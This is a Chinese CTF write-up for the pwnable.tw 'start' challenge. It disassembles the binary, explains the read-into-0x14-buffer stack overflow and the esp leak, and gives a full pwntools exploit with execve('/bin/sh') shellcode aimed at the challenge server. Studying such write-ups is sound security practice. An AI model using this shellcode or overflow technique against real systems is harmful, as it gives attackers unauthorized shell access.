Challenge 1. start (pwnable.tw)

拖入IDS,查看汇编代码

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd 1: stdout
.text:0804808D                 mov     al, 4           ; write
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx        ; fb 0: stdin
.text:08048093                 mov     dl, 3Ch ; '<'   ; len
.text:08048095                 mov     al, 3           ; read
.text:08048097                 int     80h             ; LINUX - sys_read
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed

从汇编代码中可以看出,长度为0x14的字符串全被压入了栈中;同时write打印0x14的字符串,而read读入0x3C的字符串,此处有栈溢出漏洞。并且通过checksec命令可以得出本程序没有开任何的保护,想到的漏洞利用方法便是把shellcode写入栈中,然后控制程序执行流到shellcode处即可getshell。

第一次输入的时候,输入0x14填充字符,外加0x08048087的地址,控制程序跳到这个地址处,再次执行write系统调用,输出esp作为地址的0x14长度字符串,由于_start开始的时候push了一个esp的值,接受前4个字节,即可以得到old esp地址。接下来,构造payload:0x14长度的填充字符,加上返回到shellcode的地址(注意: 由于取出的是之前push进去的esp的值,所以shellcode地址计算是+0x14而不是现在esp对应的+0x18),加上符合长度要求的shellcode。

Debug小技巧:
python file: raw_input('>'); terminal: gdb -p $(pidof start)

#!/usr/bin/env python
# coding=utf-8

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#io = process('./start')
io = remote("chall.pwnable.tw", 10000)

offset = 0x14
mov_ecx_esp = 0x08048087
#shellcode = asm(shellcraft.i386.linux.sh()) length does not meet requirement.
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

payload = b'a'*offset + p32(mov_ecx_esp)
io.sendafter("Let's start the CTF:", payload)

old_esp = u32(io.recv(4))
payload = b'a'*offset + p32(old_esp + 0x14) + shellcode
io.send(payload)
io.interactive()